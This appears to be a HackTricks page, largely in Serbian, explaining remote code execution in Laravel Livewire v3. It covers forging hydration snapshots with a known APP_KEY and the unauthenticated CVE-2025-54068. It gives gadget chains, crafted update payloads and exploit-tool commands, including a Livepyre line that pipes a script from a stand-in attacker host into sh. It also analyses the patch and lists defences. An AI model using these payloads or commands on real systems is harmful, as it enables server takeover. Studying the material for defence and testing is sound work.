Laravel Livewire Hydration & Synthesizer Abuse
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.
Rekapitulacija Livewire state machine-a
Livewire 3 komponente razmenjuju svoje stanje kroz snapshots koji sadrže data, memo i checksum. Svaki POST na /livewire/update server-side rehidrira JSON snapshot i izvršava queued calls/updates.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Svako ko poseduje APP_KEY (koristi se za izvođenje $hashKey) može zato da lažira proizvoljne snapshotove ponovnim računanjem HMAC-a.
Kompleksna svojstva se enkoduju kao synthetic tuples koje detektuje Livewire\Drawer\BaseUtils::isSyntheticTuple(); svaki tuple je [value, {"s":"<key>", ...meta}]. Core za hydration jednostavno delegira svaki tuple synth-u izabranom u HandleComponents::$propertySynthesizers i rekurzivno obrađuje decu:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Ovaj rekurzivni dizajn čini Livewire generic engine-om za instanciranje objekata čim napadač kontroliše ili tuple metadata ili bilo koji ugnježdeni tuple obrađen tokom rekurzije.
Synthesizers koji daju gadget primitive
| Synthesizer | Ponašanje koje kontroliše napadač |
|---|---|
CollectionSynth (clctn) | Instancira new $meta['class']($value) nakon rehidratacije svakog child-a. Bilo koja klasa sa array konstruktorom može biti kreirana, a svaka stavka može sama biti sintetički tuple. |
FormObjectSynth (form) | Poziva new $meta['class']($component, $path), zatim dodeljuje svaku javnu property iz child-ova koje kontroliše napadač putem $hydrateChild. Konstruktori koji prihvataju dva slabo tipizovana parametra (ili podrazumevane argumente) dovoljni su da se dođe do proizvoljnih javnih property-ja. |
ModelSynth (mdl) | Kada key nedostaje iz meta, izvršava return new $class; i omogućava instanciranje bilo koje klase bez argumenata pod kontrolom napadača. |
Pošto synths pozivaju $hydrateChild nad svakim ugnježdenim elementom, proizvoljni gadget graph-ovi mogu da se izgrade ređanjem tuple-ova rekurzivno.
Forging snapshots kada je APP_KEY poznat
- Presretni legitimni
/livewire/updaterequest i dekodirajcomponents[0].snapshot. - Ubaci ugnježdene tuple-ove koji upućuju na gadget klase i preračunaj
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Ponovo enkodiraj snapshot, ostavi
_token/memoneizmenjene, i replay-uj request.
Minimalni proof of execution koristi Guzzle-ov FnStream i Flysystem-ov ShardedPrefixPublicUrlGenerator. Jedan tuple instancira FnStream sa constructor podacima { "__toString": "phpinfo" }, a sledeći instancira ShardedPrefixPublicUrlGenerator sa [FnStreamInstance] kao $prefixes. Kada Flysystem kastuje svaki prefix u string, PHP poziva attacker-provided __toString callable, pozivajući bilo koju funkciju bez argumenata.
Od function calls do potpunog RCE
Koristeći Livewire-ove primitive za instanciranje, Synacktiv je adaptirao phpggc-ov lanac Laravel/RCE4 tako da hydration podiže objekat čije javno Queueable stanje pokreće deserialization:
- Queueable trait – bilo koji objekat koji koristi
Illuminate\Bus\Queueableizlaže javni$chainedi izvršavaunserialize(array_shift($this->chained))udispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) se instancira prekoCollectionSynth/FormObjectSynthsa popunjenim javnim$chained. - phpggc Laravel/RCE4Adapted – serialized blob sačuvan u
$chained[0]gradiPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()na kraju pozivacall_user_func_array($closure, $args)što omogućavasystem($cmd). - Stealth termination – predavanjem drugog
FnStreamcallable-a kao što je[new Laravel\Prompts\Terminal(), 'exit'], request se završava saexit()umesto bučne exception, ostavljajući HTTP response čistim.
Automating snapshot forgery
synacktiv/laravel-crypto-killer sada isporučuje livewire mode koji spaja sve:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Alat parsira uhvaćeni snapshot, ubacuje gadget tuple-ove, ponovo izračunava checksum i ispisuje payload spreman za slanje na /livewire/update.
CVE-2025-54068 – RCE bez APP_KEY
Prema vendor advisory-ju, problem pogađa Livewire v3 (>= 3.0.0-beta.1 i <= 3.6.3) i jedinstven je za v3.
updates se spajaju u stanje komponente nakon što se validira checksum snapshot-a. Ako je property unutar snapshot-a (ili postane) synthetic tuple, Livewire ponovo koristi njegov meta podatak dok hydrata attacker-controlled update value:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Pronađi Livewire component sa public property bez tipa (npr.
public $count;). - Pošalji update koji postavlja tu property na
[]. Sledeći snapshot je sada čuva kao[[], {"s": "arr"}].
Minimalni type-juggling flow izgleda ovako:
POST /livewire/update
...
"updates": {"count": []}
Zatim sledeći snapshot čuva tuple koji zadržava arr synthesizer metadata:
"count": [[], {"s": "arr"}]
- Napravi još jedan
updatespayload u kome ta property sadrži duboko ugnježden niz koji ugrađuje tuple-ove kao što su[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Tokom rekurzije,
hydrate()obrađuje svakog ugnježdenog child-a nezavisno, pa attacker-chosen synth keys/classes bivaju prihvaćeni čak iako spoljašnji tuple i checksum nisu promenjeni. - Ponovo iskoristi iste
CollectionSynth/FormObjectSynthprimitive da instanciraš Queueable gadget čiji$chained[0]sadrži phpggc payload. Livewire obrađuje forged updates, pozivadispatchNextJobInChain(), i stiže dosystem(<cmd>)bez znanjaAPP_KEY.
Ključni razlozi zašto ovo radi:
updatesnisu pokriveni snapshot checksum-om.getMetaForPath()veruje bilo kojim synth metadata koje su već postojale za tu property, čak i ako je attacker prethodno naterao da postane tuple kroz weak typing.- Rekurzija plus weak typing omogućavaju da se svaki ugnježden niz tumači kao potpuno novi tuple, pa arbitrary synth keys i arbitrary classes na kraju stižu do hydration-a.
High-value pre-auth target: Filament login forms
Aplikacije izgrađene na Livewire-u često izlažu još lakšu pre-auth površinu nego toy public $count; property. Na primer, Filament login stranice često hydrate-uju slabo tipiziran $form object koji je već serializovan kao form tuple u snapshot-u. To potpuno uklanja korak “scalar -> array -> arr tuple”:
- Snapshot već sadrži nešto poput
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}. - Attacker može direktno da pošalje
updates.formsa ugnježdenim malicious tuple-ovima, jer će rekurzija na kraju reinterpretirati decu kao što su[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]. - Zato su pre-auth Livewire entrypoints koji izlažu
FormObjectSynthobjects posebno privlačni: oni već obezbeđuju i instanciranje i dodelu public-property vrednosti.
Patch analysis: preserve raw metadata during update recursion
Fix uvodi namenski hydratePropertyUpdate() path tako da nested update vrednosti više ne pozivaju generički hydrate($child, ...) nad attacker-controlled children:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
Bezbednosni uticaj patch-a:
- Ugnježdena ažuriranja se ponovo validiraju prema originalnoj raw snapshot putanji, umesto da se veruje svežim tuple metapodacima koje napadač dostavlja.
- Rekurzivna hydration više ne dozvoljava deci da redefinišu
siliclassusred izvršavanja. - Ovo blokira i proizvoljno prebacivanje synthesizer-a i proizvoljan izbor klase unutar ugnježdenih update nizova.
Livepyre – eksploatacija od početka do kraja
Livepyre automatizuje i APP_KEY-less CVE i putanju sa potpisanim snapshot-om:
- Prepoznaje deployed Livewire verziju parsiranjem
<script src="/livewire/livewire.js?id=HASH">(ili?v=HASH) i mapiranjem hash-a na ranjiva izdanja. - Prikuplja bazne snapshot-ove ponovnim izvršavanjem benignih akcija i izdvajanje
components[].snapshot. - Generiše ili
updates-only payload (CVE-2025-54068) ili forged snapshot (poznat APP_KEY) koji ugrađuje phpggc chain. - Ako u snapshot-u nije pronađen parameter tipa object, Livepyre prelazi na brute-forcing kandidata params kako bi došao do svojstva koje se može coerciovati.
Tipična upotreba:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check pokreće ne-destruktivni probe, -F preskače version gating, -H i -P dodaju custom headers ili proxies, a --function/--param prilagođavaju php function koju poziva gadget chain.
Defensive considerations
- Nadogradite na ispravljen Livewire builds (>= 3.6.4 prema vendor bulletin) i primenite vendor patch za CVE-2025-54068.
- Izbegavajte slabo tipizirane javne properties u Livewire components; eksplicitni scalar types sprečavaju da se property values prisile u arrays/tuples.
- Registrujte samo synthesizers koji su vam zaista potrebni i tretirajte user-controlled metadata (
$meta['class']) kao untrusted. - Odbijajte updates koji menjaju JSON type neke property (npr. scalar -> array) osim ako je to eksplicitno dozvoljeno, i ponovo izvedite synth metadata umesto da ponovo koristite stale tuples.
- Odmah rotirajte
APP_KEYnakon svakog disclosure jer omogućava offline snapshot forging bez obzira na to koliko je code-base ispravljen.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.


